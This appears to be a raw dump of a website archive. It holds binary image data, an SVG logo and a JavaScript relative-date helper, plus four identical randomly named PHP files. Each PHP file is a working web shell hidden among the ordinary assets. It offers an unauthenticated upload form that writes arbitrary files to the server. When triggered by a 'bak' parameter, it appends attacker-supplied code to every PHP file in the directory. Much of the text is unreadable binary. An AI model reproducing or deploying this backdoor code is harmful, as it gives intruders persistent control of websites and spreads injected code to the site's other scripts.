�H�u��H�ֺ4P�&U�Z2�z�8�y`��m�r#Y^��8Y>x������rn��&�����(c=	�+���7���u�{�o6�,q��Cn���r1Y�5[�&��5׹��xǫ�}��2K�<�.�R6�zʽ����k���Yᰉ�(ȋ��!�09�c������ߘJ�9�<N�^0�A�dr�%쐘n�9c�y�洏�|U��3�7l<��\�����o�����ő��_H����ݰ?zZ�Xm眮Oұ�_�������ҧ�Kf�3 1�J�����[��(ԍ�o���;ſ�K�&�)����#||�3C�B��<
��G���ӆ�p.��$��<�n�zg�oU���J�R�=c���U���Zn��Mwqj��@G�P٬	x�?�z~��d��c2�
{'�wZޮ����U#���χ~;Ox��M�n.n,�q��#9bz3N�>����^��G��K�22���3�q�b�TK�����W�t��x�>3����1��Q76`s��gÿ|omi⸮4���l�!;���z�V�T���J�y-~�l��c��ͣ�.��<��n�3����Z�wc�_	�ͬ���+�H�1i鑎�.�E��\�փ��}C����>-xVr�^�{"1�l�f���0��m;���\���k�~_��3��S�e����g겊����|:�a�gRBOO���s�3��|��v��	��B��6�}~�W/�dC��Dp�v�?(��J���1J�s���	7|4�K��:q�|�
.�V�[�.ɫ\�y�:��_3[�ך>���/쵧v�ث�{"�q�IO�A<&r̗���I�����%�Ŀ!��3xm��cY���].�(���fÀo,9<�U�_��ҷ�W���\Rm8���̵��Ň�������$�J�ko17d�H� ���s�c��N�.�_�����E��s�+��T���`���vA���
��A�?I1Y<�i���;�|V�������G�Z5�2�;�w�3$
f�o��Ͻt2C��jd�����Չ�Eb�>�#r�ľ)��x��U�2^-��Čߟ�u���q���M�Nm�L��Uݞs�WT1!mNY���y��}k���R�Hgv�<I��&	�q�I,�5(�����K�cF���+OiB��!�ts{*�_����kx����?��FB���nZ�?tV,�ŖG�v7z�a)?zUjm(���$>Zx��� �#�t�xL��W�킸�O�܁Y}N��fސ�<:���#��Ê��O���m�|5G�i��w���������{q�q� ��˷TҼM�ġ�I�� f�#_����F��l�;�lHrk��m�͇��`A�O[�2	E���\�
��z��{��5��n#����v7=���m46�;���r�d9�+N��=Q��	b
��cڼ���mt-�.�c�'�^���3d���>����4�F�}6
�P�1ӧ�]�I=Vđ Y?�	�Y��Z��#�U
�H=��O���6?�4���'���	�����U��0�'��|��<I�MR�-�h�.|��2 ���k�$�x�����⥕����X�Eft�8��Q8=3��r]\���%��0�����;��]��=	T�Qסg[�����	H@d��u�u1U�j �EH(�w<����~ks��W~א\A`�l�I�D�����uv�9k;Y���iM7�&��ڈ7Fҁ�';@���sZW���e�^��%�YZZ�[�`R8��@�G���Wi1�vM���_��_�5kۆ��ִT���}n|�����?g(�+-l/C*��	φ�4�G�4}!j�	����R����o)�kБ�E��A�<��
�G���p�)�r�8e#��eeb�i����̓h�/�S��xb<7�ֻW�{q�3m�LpNJ�#��y����҇���3fF�k�\�ï����]n�zG����֦��j�:�{�k�>j��ձ#�.ZY��W��A���g׭|��/�nJ��^�z^�e2̼g"��1M���Wa\�mso��r6�G=�U�5���vl�NO?*�R�>��}+Z�%���bI'��9�פxr�G}C)lu�Ԛt��4���5cԦ}M�a�Dc�5�Ԥ}>IFb'��5�S���5���.�,�\O6����)��T�qq�Ƞ��6�����I�zW��J5l����zsuG�~ ����Kl*�E<	��V^��藩}yl�?�\HW�X�ɯ
��J.T���vS\ҍ��M��9,�1��,2��Ku��}դq\6��^�Ğ3X)I�)��A�V�H�����uH�íGe<ya���k���e����8Ա����nx�t�zj�0���ܯ�9
}�=���
k�]ن-m�;¾����cT�s��qe��G��Ǩ~����]��g���|�fw�<�}sY{5�,�m�p���G���Z�E�y���^q�~�<.���s�Z2R<e#���^����:���M�<��ۦ�������p�}Nq���u��N�u\F�wT�]>V�=��T��{E��4��?Z5]�Q��'1JW���*�������xŜ>�,z��P��s��?�Wn��Ğ��p��z�(��J[[�f��-�:k�|S�Z���Qq��NI�ӵ}�5]My�'D��"E]�|�!�j���䌩^�-��=��5��������{__�!��R�r��q�L��u	5o�n#E�+I�%��;u���&�d���q�*���w���|l�m�p��j,�/�UZ�zn�0 s�_Wx���Ϳ�����3ݫ����dC����s�p{W�E.^~�LX�?eMy3����G{e����J��]�Y�:���<�[�@��+��'P��Ԡ��M���A�ӑ޼��S�dyj���ꟴ��1}+A{e�Q
�*���y���^��]�q��0W�n���~��J��1s��<��Y��Yo5	�g�٤%�3u�jݞ�$?�����PV���e�6�W��$�9��U�b��	v�e$šV&w�r��,��q��m��4��)��׽?3�
����˲@	9$�ɩ��f�	8��:RnƖ�W=�OШ�	�[v�b[3�#y�N��۱��f�����1�ҷ��mv7$(��\��$�6�%k�Z=���b$�<�Yͧ�����UW:g�F�XZ��QS���ԧN��O,��:Ф�s��Ҷ���h�`m�T�����VIs"����Ȯ7RW�KB6F{pCm���fʁ|¼$�"�ODiш�9�x�߃\��d=s��G=kh��bo1O�u�VN�oop	%Hv���R�Wb5�%<¼�ϷJ�ҷ�Z0v�y��%loܔ_%�]�����͒�\I��*����[7�.�m��'99��-��o��ԓ:��%��w���y����Ig�UVWS�:�<V�hC��ֱ�4gB3�5�o�[ܪ>��7��.mF�E�V9���mn��3m9=OJ۳ҷŰN�1�*��Р�e�{lʑ��������3ʌ䪶y�F�b�X����GU�DR{g&��ij"I�{R܆�v�ZmF[y7c{�=�j[kz��%��((</�
+\�������wT�|ch��(%��y�%۸���zԸ��5��8��6���>�X����y�����A���\��i$�h24�xN?J��ȅ��+&�xn�t��WC*�d�U��LuY����@*�>��e 
���R��8��̍�=��Hd�xrFs���d�֓o���[",�Rw��ޡԗs�.�B��,��{u�UP�)��Ԏ�J��i֚�ڭ͵�p�C�T�
�Tc��O�5�6Q�NCP𮇧\�?eY^Vv��:�oY�z���)S��<`d��+�����m�X����{S����>���x�z6�R tT�7޻�ϥgSQ�\ij�˝C}%e�O��39g+�sެ��N���Z�o����$��s\��{�Uݎ���zE����-��Q�2~��6�:����'��j���ݹ�zW#���Λ��(�i�xC�z���qi��'�C|���N�Ƒ�ķZt"ݡ��t�kg^n
-�c(�g�l�SK���<����eK�Z�!�m�G�G2�Hu?(5�����ӑr�V𥾢Dz|b#1�r��4���u���-�l�(�\~5KQ��N-3����fK8"�%h�a��(8�kP���hI[�`�Tq3�w<�ӳm3����DK����+�8p*�Et�	+��t�G�u:�{��ݵ���hZm��f���x؎�;��_E|i��O�$li#��rP���|b����\���Yt����s�{J�<G��+	����N�+�B� �y��7<��g9�{ϧ����7w�3�<1�i�zY�d��H� �^OA^�5���)�?>�ITlc
��Ӛ��ԗ�'��Cʌtq�s�'�l�<�v�~�&F*�!��=���3�"�9�:~�[�fwV�I$j�h�h�<�3,eX!��+Ѽ3�]Z�--�ȹ�ܮ=5���%�L�
��iֺ�������B�XۿCSx7Cѵ]e'�-E�єgf!� �i0+��֚�Vi�vT��G���e�^i(I��gE=	p3Q�V��i�J�g�t#ںTڡ̷�Ι;J����v�w��,U級8��I|�q��#��+��
���y+9w%G��1�`k湝Z��Q���&/�:oi��g���,��|�X刐���|��t9�Kte1^Nr=����Jҧ����I8DZ���	n䈱-�g��b�ᦁv���#�G88��2�e��*�j̵e���p����z���U���ni�j_a
ps�^j'��������
�4Y�H�b֮���úq�i3��<�v������KO���i��1,�z�	<�i�ш�WU�ps�����\m]"8֚nI��~�v�9�!?R@�V�ۥ3������ʹ�xֱ��Fڹ2�7mM��w��*_އ�cnX����J<	��
��+���k)b�5�;c9=[9ټ��H��߉�V9^zz�ց�~��O�
��bT�g�s��\�5$�l�NMٲ��ß
��À�i+���T�~�N�u�h�m�p��/>��\q�b�LI��Z��?��v�Q���A\��5R������Čv�An�����B���w4l�xi�<�g"XCg����X���	2�+��c��Y<Ư5��j`'����#��
�����'ޮj4m3I�H�g�JY�,Xg��Oj�x����ZIs������jod�
��N=j��=-�&��H�q��s!��Ϯ�5d+)o�㇄b�]�k��F�apq׽v�0�ճ1p�Wy�?*���;$L%��c�״��!B#Va�U���?L�^�ck%�趌[%��
���	9�뺝V�e8��M�[�������O�}�?�Q]\�+��4|Sݬ�3��]��M̢�ma��aVoc�
M)s#�{�J&����8�5��3��WDtVGV�%7Գm<��̈́�a�8黊�Y��;�$��)�^�F��В� S$����O��$a�rI���
�S�+(&�Z��B
�A�Lʛ�V�
�
8���RKl���qb�cҧ���+7ؒ[����r1��P?�푗��)\9v}.VRKd�����H���~U}Nu�!�&���#��O�<q��{����Ԝ���V���=��P���j[��肼��
��I�֟ܰ��t�Ͽ4�%7t_�5�CY�_8f�^8?�"�Xg�Ԥ���NU/)O$s�T��2���L��Ҵ{�v�h�i`�����0�	�[{g��J�iG$�9?ZIw.rN���"��g�?Ӛ�jɿ2 `�8��l�J�>���f�����9�����W��i��M�U�QF��ģq�Ӝ���k����c�c�\�ў*2�v�MiE�ޡTuIP�r�zq�}�ܔ�>n]6��k뮚j�ih��f`y$��|?n�X­��#����m
�^-yrь���>�"��[V;Ɯ��e�����I0�`�4���%��S_Mx�6| �> �#�qiw
���!Bd'=AȬ1qU0��s�.j���O�	���&Ցn�B�lorwǾk�����o��
����P��99�8���S��F�z%sYG���Ѿ0�mݔK{(�6K`�5��j��֞�/x���vbc�)~~V���{U<�=0�u`�s��t�5�/Q��U�x`��#�G\�	�Ci�����s�9��"����#6ۉ��%�Χou��jz,v�7��$ȍcW9����y�G�A���羙�d����g�A�kD���s�����'�)$:����
��q�0Tq^i���h��U�I�3�Yϖ2�y��SB+���jR4�ko�xcöZݵ��O�J�.�Q��'����\������Cm����w.DD1#<��k��1�R��^�g�%���,�R�W-p<�������y��6�絁�գ�:���� ��c��@fA��*[�7.;##EM� ~N������#]��6�~���7���0���dg���j��U#�Aϯ5���íYO��~�t��h���5��ꏤ3�[�[�|yL�1�"�c=k������Y�jZK�xXF����c�+����y���`U��[x�s�3^}ovJǫ�nP��=Zi�u��*�%��<o$Cr�=:��j�"Я5M"/�j
a!%7����zQ��5�SJ�-����~�eg����L
��2H�I ��O�i�[@��%K�3�~	����˕�V����9�g�i�'�cl��bL|����ɬynb��٨[��řC.P��	8�U���}����FjY�n�����6;FUXټ`�8�kcC����F;[�f�;H��33�y�q��7s�PJ���m�G����/2RPʁ�$���H-��q�v�}���sB��2ym)1�8����7L��j�=cƾ"��>	�ԭ�IZ8�/����{��/ŗM}oo*��L�r���{��TR�;�U✢��w��/4Dw�&�����tx�ﭵ�뉮7��R>�(�0zWoDy�j�l�G�jx�S�n��aӌK��6m��n1�����|V�Z)Sw�ٽi���	ʓҳ�Qu	�I/�D�ʚ�&r7����隐J��d�ʵ�1�>A��������<�v�'t@s�'<W��i�R�n��d�6��l@��s���g5���ѭ5h&d�x�k����X��&]��"�	Q�=8�v�$m?šc��-�W��I��L
�IW�,8#W��cҠ�`���\C��4��,�$~Q��e��n��=j}C�n,��E�Ao"c��Bc��y�:��F��3��)��7V�H\@C�'
,��$�p�ꭧ\i�2��ߙbq#���˹O�9��Y+4��̥&z=���O����swf�1N‰����:�x�S����y���lnR:s��]��­�d�4�?�gH���C�Yd�����1[�ƫ�_����Ij�����708��Y�5���R�[����cYu	/eII[	 \d�#�g=��#x�m;M�Y�V���P�r���Z$쮍�Q��ٻ}w�
��v��_r�W��5�Ьk�$H�m��x�bpO �D^�9j�F�!���X�֢�hd�5�n�ę<��s��
W�~��-�;�Y�Y�Wi��d�Hؓ sс<�Zr�M#�#f��_�\�:���bG�Ȭ>pdc���ш뎵���V[M1������k�|���������˫8iI��=���K��ĉ�䱊+w��0U� �Ww=s��[>2�͆��"	ci�7RQ�h9�H�7�Ϸ�J�X�c�#Y�"��H���-CLҮ��ݮn%�U�tq�������j�O�:���jW�Z�Aqo�������wz�<�w�]���+�ijt.��T԰�+;M"D\�D�;s�V�o��
$�Ԅ�$]؁7��[<�QN\�Sz����m����f��Ѵ�Dk��"I�09`�'<�%��j�]V�c+���RXm-�p1[J
^��£��7��'�#���R�/~�g�7�\�%B��q��o�6�T���A�4mk�T���5�wJ*M��Ny6�W�V�� Gee
��V�Sb,
� }*x�3����R:�3ĺ���7��J�^Ocڽ[H���m�ʅ���,��2�����t��L�8�:`�ɶ�~���yfF�ʛA��5׺�8��}Wš6�r��7v��j=�����y-�$�O����w�Sp����5!v���^7�\�|?�Y%�ؠ��	Cd�u(���u��hp<p0t}Kl�FǭzN
q�{�:��>N��Z�,�cn�i��ud#Nk#�D�x�b���1[��Ƹ^����լ��9�ᷳ��æ��{g�V��ƞ?�c>�T���C�Ҵ���z�\���ym������o1�N�G��?wC��.<& <�QQ����jW�����𥅢���`ywwl�t>r��r��}��~��6�o��;�QR[
�^���׍��)��o�%"O���G�k��Si��.
����?�?ֵ�񣚷������M�U�S�j��p�qыœ�UHt�?�C��F�[�
�?�E���V���9�VկG���%e�r�?ع��U������N����0�d�:��G�t�����f���ƚ���oi�N�����p�6n����ޔD��ba�jnO�c��NM�oMk�wg����<f�vyz\�9��(�^b��pFA������v\4��������
=�r��i�7���ײA����w4Kݿ�����/$�u8��%5��x����o����8y�>�d'��7�C��>#��X�u��1�?�2[G�~��9�|k՞6���0Fs�~Wc�*�C�V$�W�>�mX˯���O롵4
�ߏP�X���ȻJ�١h-�7�N=1(P����:)�I<s�e#Z��#c��.-���k���]�d�0���Q%��B�!��4�
��b�[4)#w��U��'��h<9h�}�O'$�ſxNpkU�9���5��4��+�i�kT��,����N
�}�>�Lӯ�i̗�2�2+n1��|̷J:o�K���h)wr����w��y�~�}*���9�CR{��mL
e 5�$��v�/��:[OY6+�/�X�d|���1�[�~Ŧ_�0�7�o|��d9pRp:q���94f�Am�d�w����Sڝf��el��>P'���
|4:�����bń��fX���]w0QVj��]޿s��s]��rig؁�>B�'�:�{>�����j饾���ż�A�<����y���J�=�M��h�s���u[%�$I�afe�:�
�k���i��o�����9����J<Ӌw0�����hZo�u:���&����b�!s�[��C��GI��-m|M}��Z�\I��ٹ�� �Ee��n�b��c��~ox��O��y�-�vqG��e���=s�j�<@�_�uG׮��$7Mo"g��T矽޹%V[��*+��^h�֟
�����ٵڡ8[���'�+�x��Mּ%e�a�\����L~U!rA�x�j�+^�Q���״�{J�d�_���j<l��u�,s\n�?����"�̲���'
�Df�䓌U�rM���j�v�M�i� �w��5���\k�/��v�b0�O^sXV���T�k�
��枠�bO��q�Tԩ8��i�7���.�z��]F�~�ob�AH�\��x����G�ð&�r�[��7l�`�S#�ris�׸�#͢�<���o�r�`I�!7W�P�3���m׉<Oi&�qo�;i��qo%Y��{�9m~�Q�n��� Ў�>�p���Ō��61_P�/��O�G|LF�m=�7Je1��?.zG��Ԓ��ܚ��(�����ѐ%�Ŀ
¤�&��	p�~u疪!���$���և>��YVҳK��
�o��<�Co��&Q�.4��H)5�-�����K�D��k��ɝ[K�#��'���]�1��Q��Y^@�;א�6Z�?O&J�+���+ݿ���o1��m�%��i��"=A8�»G��&�.�[E�4�W�}/�h��guϘo-���k�"����X�@�-i=�����_��0���KA����DB�v�O���~1�X���)Go�x��ȃ�i���ޏ�J�^��E~��t�G�D=Z��b���H|�<1�5����":�D'�g�=����ǧ�s��(��+c�kC��?�_D�>�7���HAo�����Z�����#�7|:�Sg��F5M�F�n����Fˏ�IX���'��W�-��?�k�O��@~07�T��F�!l��!
���0n���Gu�|;����|��R�k��>xm��g�?NR�w��]~b�=�>�n�q4�p��c�Ηb�Юa�G,��;���3�Rw~���Vմ�ko�:�`	�^�d8�0?J����������tK�����J��Eo�s�t��E&r3�����
�y�`��;\��PK��\+����
img/brand.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px"
	 viewBox="0 0 54.3 54" style="enable-background:new 0 0 54.3 54;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#EF4153;}
</style>
<g>
	<path d="M20.1,13.8v5H13v20.9H7.7V18.8H0.6v-5H20.1z"/>
	<path d="M46.2,39.7h-6.6l-7.4-11.1l-3.9,4.3v6.8H23V13.8h5.3v12.3l10.5-12.3h6.9l-9.8,10.7L46.2,39.7z"/>
	<path class="st0" d="M52.8,39c-0.7,0.6-1.5,1-2.5,1c-1,0-1.9-0.3-2.5-1c-0.7-0.6-1-1.5-1-2.5c0-1,0.3-1.8,1-2.5
		c0.7-0.7,1.5-1,2.5-1c1,0,1.8,0.3,2.5,1c0.7,0.7,1,1.5,1,2.5C53.7,37.5,53.4,38.3,52.8,39z"/>
</g>
</svg>
PK��\_C�FF img/Emera-Primary-Logo-White.pngnu�[����PNG


IHDR�����PLTE��������������stRNS=�����IDATx�흿r��r��$g8pp}�ΈGP�����7�(v<����*�'��@;u��v˵�Pks�g��A7�Zmw�K��o��L�LO��,666666666666666666666666666�����[��{�9��gѶ�p��[��b�<	!��A�bu�/·��׿!����W|�-W|��|�8[�>�T拂9�G�Z���]��[����C�=A�X��p���+��4��=�H�=tל�w��(Cؗ��3\��\c�}�!@��B|��C�s:h�t�,$h�\�����=�]I��PX>t���@+o �����ލ�}Cc�u+,��C�Y;Ci�i7��Cw��ݯ�=(���(�iڭxjl&�J6����5��)��v��h��Gc3A:��S+��R۠ջ"س=��$���HL�$��C}��E�c!�V�~�}kRTuw��J�Ȟ����hmY<l߸����$�dM�4M�8E[OM���Cgo@�"�N�52F���
j\���vZ`�![w�t��,~Ԕ���m��>�e�κG�Q�?��q�z��y��:Ԟ����FFi+�1�V�
�'<��CgJ���ڊ�z؁#��w�١֓�!���&��L�C�z��u��r'��pɝa�5�{�>��г�Y{��54���=jӴ��J3B�Y*5T�kػf4��D�	���e�`:�J�
��T_�.��zP��J��~��5I{g�v�B�<XWW
5({��+�Ѭ}4P{X�
y��tE��5� ��ma������Z��
�ohS�����P��.,��65<��6��	�jO�m�K�T��&�.pm�<Z����&��OR�
��a=*A[���4^�!�$g���p�c�Uj�B��&�݂"���m�:�P���L�HjC�W]E[�N(�G�E�*$u���am�����:�p����iqB�M���DS�3�fg3P�j+�G�QgfJ���HԎ��޲�
q�zFꌨ��A�Qb=G:��=I<$�p�[�A�Ԟ$�]���Z����AӴ�H��gn��B-@�n����4/uO�ޤm��ӑ�N�{�{�.̜���Fq)���p���G�����)Q;FP?�����嶞�z3R� މ��wCCW��k�ϼ�4mX�3b�44\!�i6&��m�x��[��v���_[\�ΔC���`�ɋ6�jr�vz�Am���I��#����A�2+V�yu�)�am�2Y���v+���<�t!M�p`qP1���U뛦).����ԭ���~�6@
$�8�7�hG aS2P�/�a���:C�N�����! |G�2 brО���S��U�ar�q_��\��3L�4����ΰ)���J�p���{C0(�G�v<�����M�;@��N�-4.ؾl�ށDM��R�\x"��3t[���3�n{��Q[G�Gg�#{C�a�6��!���h�����'�4�m
g��GClM{��m��И�C_]��e�^��0Lt��I;@M�?RޡoJ��So
Q�\�Q� ul�v �癮q�Wv��]��u&mppx���2�^_���o���:j��ݧz�#|�kp�]x�\�X|�YWD�>ulR�c}qz�e1HmX���]��� �>�г,>@�v�4ʮ��M+��:�J�#=�'��C�<������=�t�򗑱ꆨ����t�:2�,��'��M��IO�54���-��1ڦ�!b�^���xꭁ:�����n�v���m���Z#�1P�����i��H��m�U��Qנ������S���0u�-�c�^���h�mӰ9�zmT�h��p�/3̈cL�C!��hꅹ��1L}�Q��Ի���Qi �7 �ˏ٨Cx�?LM�ֆ����UM�q�	����!�d�:$S[hꤏ8������=�o�ĐU��U����Q�����!�˧�tLF�KQ����<��P�M��Hh��1�� �?���o�b^�`u��z�����9���S���:�f�:�F����7L����pN�-������E}��i���o��K�!ꡇt�&��]PGӨS��sQ�_��Ïo��!�<u�f��f�-R�?$��cP���؎�޽jjį�|wԻAj燤�(��[�^�z����7H��?"��Rԛ�L�~7�K�����g�xk]���Ʃ;.�~�/��h᫦^j��
�rzF�t�Z�m���z����o?e���g�^Pۀ��P���(�Y;�VR�2�D���z1j�,>^�{�����I�`ڜ����:��g��4��Q_A͒N��&+�N�%;�=����|�4{AP��H���:$R���v��0u�����7A}�RoNK��j�ԂF���i�B��Bm��zj���������S������� �V��ZQ>���pJj%q<-5Y{>�Z��������R�1ˏ���/}�PG����ѤE�Z@��7@ 9=-�r��p
u@� �IL��F�;-�?i�4��'�/F}��z�����cNjOL6�Pk��DԦ'�_��� ��Q��P�1�As)sR;b�+f)(jU�xRj����>b�;����Ne
ug�;=%5UE-Pԑ -�g�&j�Cu'�#<%�rJ�"H�.���ٜ������`�;�Z�SR�Q�axwomx��Y���8�#����x<!�BLhhЎ�� �^���Q���)�����ɨ-�6nOS)D���G|qj�6n�|���+�SQ/Iڸ
���Ժ������yVj���%S��aj��um2�m0�yiR�Ut��>-�\����޷_�^?�S?���L���2��z%��Hm�D�j3��=)5�	��N��:��ڦS�g����ڢS�g����cj/UK䜑ڙ�zI��ΦSOp�1�7uJ��z9���?#�?�G�v�H��C��S�g��硶�ԣ]���JLE0����<���;#�;�O�v�Hm�C�ѩ�v�9�Gw�z�z���Y��lc>���r�N=r욅z�S�k�:8#u0�3��=#�;�p��l�'���cjs�P�g��g�vGP;g�vf��:��2�$�(�~�i0��=#�;���1>e.�Q��~�q4��;#�;��H���G=�f���
$\���rj�U~� ��G=�$��`ڇ���������Ő�ry>jz�	_�	]��GM�����}��@��_�GMԆ�	���=&��r>j�6�$�E'��
�I�맳Q��
�ɿ����Y�^ƓSS��O�ݮ~�佷vq�����:�J9/�A�6��������������������������������ؾ?[�=C�d�x{�fj�fj�fj�fj�fj�fj�fj�fj�fj�fj�fj�fj�fj�~�Էo��t666666666666666666666666666666���.>�:���x3�<��K.VȲ��yB���j���:.!���X�s�ڜU�Oi?��/�Ϲ������_��K)�S��/�PjV��?�	��TV�]�Ʀ�e��S~�����@���ؕ��6�}��o��dz��2u��=a�)�ś���5l!�E��V_�ʎ�c4�]�i{�|�_URu����)Vح��HO]9B�S�����Cu�N�x����ĖJ����"�uKz�\Swʮ1���(���zԉ�j�F��f��I�(j��%G-B�ȝ��j+�-��w:��#�"��R[͛�B�[כ'W`[��@]Eua�omd�<q���bJ���^%��tC�nn���ا�Xl�N�2�MiR��W�:��@�D۫���	�Mw��*E����y���{呩�O�:�O+�o��^E�8�Hq�y��{}?!�}{�ۡ�Vl˓��sG������3e���C��qBu1��k1Ki�UDž�t�]�¥Y�_~��|���jŤp�]S�o�%��o]$�/��gy��/�\�͵�����RzcDž/˿�5�Lj��eމ��l�jϬ�ڮ�sY��D���ې�m!�������G��RX�j�q�j�<�e�q��vy���l[�'�.��RW�޺�LS:Ԏ�����4��&_�՞T.ځ�9N,5�O*EO*�'
�����L�
�_Ma����r��RW�+Յ7e�60�_���m�+E��
���{�Y���"S{B��<'H+�O��j̪��"�0�U=R�{������]�Y��k�?Щ�kzU�x�Buy�;#�����^��[�:jΩˣ���ԾVR��-��[$�‰KK'4�[R׭�jl
|=S��5+u 2+�׫�b㩋{�q�z5#u���C��vwҥ��R��˪NwJ��.��:#���ԋ�����KEMyTo�K���jH��G�.�J�y�*Q�<n��uˮ�!��_�z?�:?���r����.�QDž[Rn��n&�����l`jO��Jm�}�k��H�i&��O��@���j}��<ꌴ	#���
���9���?���X0=����Z�R�a�<��^���ۢ-��_u���+&���\M>���}��WW�v�G�U*j��ܖ��8<c�;Q����O�H1F5D��w�t��q_��������Ņ�Jl��y6�Q"Z��zRv�f)�ՔG��bj�t����e�f*D�V�j!70��h�^�+�Q��Q�����8�@����R籔�&R��;EQ;J�B]Nˢ�dS��Pk'\�j��`y5�l&�(��L����f�Zʽ�z#�8�G�ɱ{
uy���O�vtM�R��R�Ҋ��
�QןS"�݄~�i>��5Z�_ڛPgMgشS3,���Ip���vN�5+��ԝ���������v�j��B�3e�ں.�q �H�Y�ۄ��S/�CHʮ�>�]?��F�~���ʺF�}/����	3�2<a�@�Or‘���piӓH}�L������{{�:����z��PH������&L��{��˗j9�2���f}=L��
uPm>�}BT�@��FC-���BH��Po��@*������%Ϭ�բYC-��	J�k"H�aj�@
u$�}���Bu5��P�z9q35k���aj�L�9SB���:��-5_ ]6޸��_�ږ~7*V��8�Q��(�O��K4a������3i�N�ײZǐ�ө�t�Z��G�������>�?����:Uw�ө�]r�S��Ŕ��ƕbЖ�Gm�p�+Qo�S�,�4� �w~tԞ�9)�s벻;�n(R����|��%%�ԓ�2e-(e�QGe�p�"'��+�V�ݵ/o�_����,�aԾ��H�K�E�R��qҩ�v�����}��Jёʳ�v�*��z����6oh�S�/�Iu@�.Y��)G-�^�aU�C�5W��l7�<��g3e�7�֬j��y��n���FY_߷����9�\�sT$�_��`Rl )ʚ7�#�ZNqΚ��7�˲��(�B�o
�Ͳ˔�V��5���.ʓ��	����QyPv"~W
]N�v�y��Zڃ��gM�+�Dt¬Xjə,�%�͝D�N��_�ZZ�rP���G��'H9�r�����iԾ��RK%Xȑ�����N)!2|��f{9�F*�ޚN��.�F�-�.ז��vua��z�e� M�vm�*l%�<��.V�n���`k�n�+;�A/��7�4!l*���H������CA�4-h��)�r{��@��R�~����щ��'��n"�zR��Q�/�O6�T&)g��Kl��������b����c~_�Ӟr�\��/��ݵ�h~�F��E{����I����T��1=	�h�c?�X����˖�vƲ����������������������������������������������������gs���tg2IEND�B`�PK��\���6��ffmolmne.phpnu�[���<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK��\���6��egbwaell.phpnu�[���<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK��\���6��bliickjv.phpnu�[���<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK��\���6��qwwunmvm.phpnu�[���<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK%5�\k����
factory.jsnu�[���const calculateDelta = (now, date) => Math.round(Math.abs(now - date) / 1000)

export default function relativeDateFactory (translations) {
  return function relativeDate (date, now = new Date()) {
    if (!(date instanceof Date)) {
      date = new Date(date)
    }

    let delta = null

    const minute = 60
    const hour = minute * 60
    const day = hour * 24
    const week = day * 7
    const month = day * 30
    const year = day * 365

    delta = calculateDelta(now, date)

    if (delta > day && delta < week) {
      date = new Date(date.getFullYear(), date.getMonth(), date.getDate(), 0, 0, 0)
      delta = calculateDelta(now, date)
    }

    const translate = (translatePhrase, timeValue) => {
      let key

      if (translatePhrase === 'justNow') {
        key = translatePhrase
      } else if (now >= date) {
        key = `${translatePhrase}Ago`
      } else {
        key = `${translatePhrase}FromNow`
      }

      const translation = translations[key]

      if (typeof translation === 'function') {
        return translation(timeValue)
      }

      return translation.replace('{{time}}', timeValue)
    }

    switch (false) {
      case !(delta < 30):
        return translate('justNow')

      case !(delta < minute):
        return translate('seconds', delta)

      case !(delta < 2 * minute):
        return translate('aMinute')

      case !(delta < hour):
        return translate('minutes', Math.floor(delta / minute))

      case Math.floor(delta / hour) !== 1:
        return translate('anHour')

      case !(delta < day):
        return translate('hours', Math.floor(delta / hour))

      case !(delta < day * 2):
        return translate('aDay')

      case !(delta < week):
        return translate('days', Math.floor(delta / day))

      case Math.floor(delta / week) !== 1:
        return translate('aWeek')

      case !(delta < month):
        return translate('weeks', Math.floor(delta / week))

      case Math.floor(delta / month) !== 1:
        return translate('aMonth')

      case !(delta < year):
